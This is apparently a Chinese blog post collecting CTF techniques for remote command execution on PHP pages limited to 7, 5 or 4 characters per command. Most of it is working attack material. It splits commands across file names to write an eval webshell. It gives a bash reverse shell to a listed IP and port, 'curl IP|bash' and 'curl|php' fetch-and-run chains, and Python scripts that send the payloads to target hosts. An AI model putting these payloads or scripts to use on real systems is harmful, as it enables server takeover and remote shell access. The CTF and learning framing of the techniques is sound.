CTF中字符长度限制下的命令执行 rce(7字符5字符4字符)汇总

it2024-12-30  11

七字符rce

源码

<?php highlight_file(__FILE__); if(strlen($_GET[1]<7)){ echo strlen($_GET[1]); echo '<hr/>'; echo shell_exec($_GET[1]); }else{ exit('too long'); } ?> #写入语句 <?php eval($_GET[1]); #base64编码后 PD9waHAgZXZhbCgkX0dFVFsxXSk7 #需要被执行的语句: echo PD9waHAgZXZhbCgkX0dFVFsxXSk7|base64 -d>1.php

payload:

>hp >1.p\\ >d\>\\ >\ -\\ >e64\\ >bas\\ >7\|\\ >XSk\\ >Fsx\\ >dFV\\ >kX0\\ >bCg\\ >XZh\\ >AgZ\\ >waH\\ >PD9\\ >o\ \\ >ech\\ ls -t>0 sh 0

脚本代码:

#!/usr/bin/python # -*- coding: UTF-8 -*- import requests url = "http://192.168.61.157/rce.php?1={0}" print("[+]start attack!!!") with open("payload.txt","r") as f: for i in f: print("[*]" + url.format(i.strip())) requests.get(url.format(i.strip())) #检查是否攻击成功 test = requests.get("http://192.168.61.157/1.php") if test.status_code == requests.codes.ok: print("[*]Attack success!!!")

https://blog.csdn.net/nzjdsds/article/details/102873187

五字符rce-BabyFirst Revenge

<?php $sandbox = '/www/sandbox/' . md5("orange" . $_SERVER['REMOTE_ADDR']); @mkdir($sandbox); @chdir($sandbox); if (isset($_GET['cmd']) && strlen($_GET['cmd']) <= 5) { @exec($_GET['cmd']); } else if (isset($_GET['reset'])) { @exec('/bin/rm -rf ' . $sandbox); } highlight_file(__FILE__); ?>

思路1:拼接字符串写入一句话

payload

>hp >1.p\\ >d\>\\ >\ -\\ >e64\\ >bas\\ >7\|\\ >XSk\\ >Fsx\\ >dFV\\ >kX0\\ >bCg\\ >XZh\\ >AgZ\\ >waH\\ >PD9\\ >o\ \\ >ech\\ ls -t>0【前面可以拆成更小的,ls -t>0需要单独拆分出来】 sh 0

ls -t >0 拆分方法(因为环境问题无法复现):

思路2:另一种差不多反弹shell的方法:

既然可以执行命令,那么我们首先想到的是反弹一个shell回来

bash反弹shell的命令如下:

bash -i >& /dev/tcp/vps的ip/监听的端口 0>&1

空格需要转义

>\ \\

构造空格就用去了五个字符,我们的语句里面有两个空格,而相同的文件名只能有一个,因此这里不能直接执行bash反弹shell 那么通过将反弹语句放在vps上,然后通过如下方式来执行:

curl ip地址|bash

我们先在自己的vps新建一个文件,内容为

bash -i >& /dev/tcp/120.79.33.253/7777 0>&1

然后在vps上面监听7777端口

nc -lv 7777

因为ls -t>_的长度也大于5,所以要要把ls -t>y写入文件

ls命令排序的规则是空格和符号最前,数字其次,字母最后

>ls\\ ls>_ >\ \\ >-t\\ >\>y ls>>_

那么我们再构造curl 120.79.33.253|bash

>bash >\|\\ >53\\ >2\\ >3.\\ >3\\ >9.\\ >7\\ >0.\\ >12\\ >\ \\ >rl\\ >cu\\

然后运行

sh _

生成文件y 再执行

sh y

py脚本

#encoding:utf-8 import requests baseurl = "http://120.79.33.253:9003/?cmd=" reset = "http://120.79.33.253:9003/?reset" s = requests.session() s.get(reset) # 将ls -t 写入文件_ list=[ ">ls\\", "ls>_", ">\ \\", ">-t\\", ">\>y", "ls>>_" ] # curl 120.79.33.253|bash list2=[ ">bash", ">\|\\", ">53\\", ">2\\", ">3.\\", ">3\\", ">9.\\", ">7\\", ">0.\\", ">12\\", ">\ \\", ">rl\\", ">cu\\" ] for i in list: url = baseurl+str(i) s.get(url) for j in list2: url = baseurl+str(j) s.get(url) s.get(baseurl+"sh _") s.get(baseurl+"sh y") #s.get(reset)

成功拿到shell

思路3:

payload:

<?php eval($_GET[1]);

>dir >f\> >ht- >sl *>v >rev *v>0 >a >hp >p\\ >1.\\ >\>\\ >-d\\ >\ \\ >64\\ >se\\ >ba\\ >\|\\ >7\\ >Sk\\ >X\\ >x\\ >Fs\\ >FV\\ >d\\ >X0\\ >k\\ >g\\ >bC\\ >h\\ >XZ\\ >gZ\\ >A\\ >aH\\ >w\\ >D9\\ >P\\ >S}\\ >IF\\ >{\\ >\$\\ >o\\ >ch\\ >e\\ sh 0 sh f

脚本:

#!/usr/bin/python # -*- coding: UTF-8 -*- import requests url = "http://192.168.61.157/?cmd={0}" print("[+]start attack!!!") with open("payload.txt","r") as f: for i in f: print("[*]" + url.format(i.strip())) requests.get(url.format(i.strip())) #检查是否攻击成功 test = requests.get("http://192.168.61.157/1.php") if test.status_code == requests.codes.ok: print("[*]Attack success!!!")

https://blog.csdn.net/nzjdsds/article/details/102873203?depth_1-

https://www.secpulse.com/archives/120302.html

https://note.youdao.com/ynoteshare1/index.html?id=129e39825e7bb3b222e613e33685b764&type=note

四字符rce

字符拼接写马

*因为环境有点问题无法复现,无法整体复现

*但是这个trick非常有意思,想分享下

题目源码

<?php error_reporting(E_ALL); $sandbox = '/var/www/html/sandbox/'.md5("orange".$_SERVER['REMOTE_ADDR']); mkdir($sandbox); chdir($sandbox); if (isset($_GET['cmd']) && strlen($_GET['cmd']) <= 4) { exec($_GET['cmd']); } else if (isset($_GET['reset'])) { exec('/bin/rm -rf ' . $sandbox); } highlight_file(__FILE__);

预备知识: 1.输入统配符* ,Linux会把第一个列出的文件名当作命令,剩下的文件名当作参数

>id >root * (等同于命令:id root)

2.增加字母来限定被用来当作命令和参数的文件名

>ls >lss >lsss >1 *s (等同于命令: ls lss lsss)

3联合知识点2,通过rev来倒置输出内容

>rev echo 1234 > v *v (等同于命令:rev v)

4通过增加ls的-h(把文件大小显示成1k 1M 等形式)参数来让调整-t(根据时间排序)参数的位置 我们之后需要用到rev 倒置输出

所以需要列出这样形式的文件名

0> t- sl >0\> >t- >sl

但是实际出现的效果是这样的

所以要增加-h来把-t往前拉

>0\> >ht- >sl

5用dir来代替ls不换行输出

先看下ls的效果,写到a时每个文件名都是单独一行,这样会影响知识点①的命令执行

看下dir的效果,会不换行输出到文件中去

最后的payload

>dir >f\> >ht- >sl *>v (等同于命令:dir "f>" "ht-" "sl" > v) >rev *v>0 (等同于命令:rev v > 0)(0里面的内容位:ls -th >f) sh 0 (sh执行0里面的内容)

可以看到命令被成功执行生成了f文件

反弹shell型

payload

#-*-coding:utf8-*- import requests as r from time import sleep import random import hashlib target = 'http://52.197.41.31/' # 存放待下载文件的公网主机的IP shell_ip = 'xx.xx.xx.xx' # 本机IP your_ip = r.get( 'http://ipv4.icanhazip.com/' ).text.strip() # 将shell_IP转换成十六进制 ip = '0x' + ''.join([ str ( hex ( int (i))[ 2 :].zfill( 2 )) for i in shell_ip.split( '.' )]) reset = target + '?reset' cmd = target + '?cmd=' sandbox = target + 'sandbox/' + \ hashlib.md5( 'orange' + your_ip).hexdigest() + '/' # payload某些位置的可选字符 pos0 = random.choice( 'efgh' ) pos1 = random.choice( 'hkpq' ) pos2 = 'g' # 随意选择字符 payload = [ '>dir' , # 创建名为 dir 的文件 '>%s\>' % pos0, # 假设pos0选择 f , 创建名为 f> 的文件 '>%st-' % pos1, # 假设pos1选择 k , 创建名为 kt- 的文件,必须加个pos1, # 因为alphabetical序中t>s '>sl' , # 创建名为 >sl 的文件;到此处有四个文件, # ls 的结果会是:dir f> kt- sl '*>v' , # 前文提到, * 相当于 `ls` ,那么这条命令等价于 `dir f> kt- sl`>v , # 前面提到dir是不换行的,所以这时会创建文件 v 并写入 f> kt- sl # 非常奇妙,这里的文件名是 v ,只能是v ,没有可选字符 '>rev' , # 创建名为 rev 的文件,这时当前目录下 ls 的结果是: dir f> kt- rev sl v '*v>%s' % pos2, # 魔法发生在这里: *v 相当于 rev v ,* 看作通配符。前文也提过了,体会一下。 # 这时pos2文件,也就是 g 文件内容是文件v内容的反转: ls -tk > f # 续行分割 curl 0x11223344|php 并逆序写入 '>p' , '>ph\\' , '>\|\\' , '>%s\\' % ip[ 8 : 10 ], '>%s\\' % ip[ 6 : 8 ], '>%s\\' % ip[ 4 : 6 ], '>%s\\' % ip[ 2 : 4 ], '>%s\\' % ip[ 0 : 2 ], '>\ \\' , '>rl\\' , '>cu\\' , 'sh ' + pos2, # sh g ;g 的内容是 ls -tk > f ,那么就会把逆序的命令反转回来, # 虽然 f 的文件头部会有杂质,但不影响有效命令的执行 'sh ' + pos0, # sh f 执行curl命令,下载文件,写入木马。 ] s = r.get(reset) for i in payload: assert len (i) < = 4 s = r.get(cmd + i) print '[%d]' % s.status_code, s.url sleep( 0.1 ) s = r.get(sandbox + 'fun.php?cmd=uname -a' ) print '[%d]' % s.status_code, s.url print s.text

https://www.anquanke.com/post/id/87203

最新回复(0)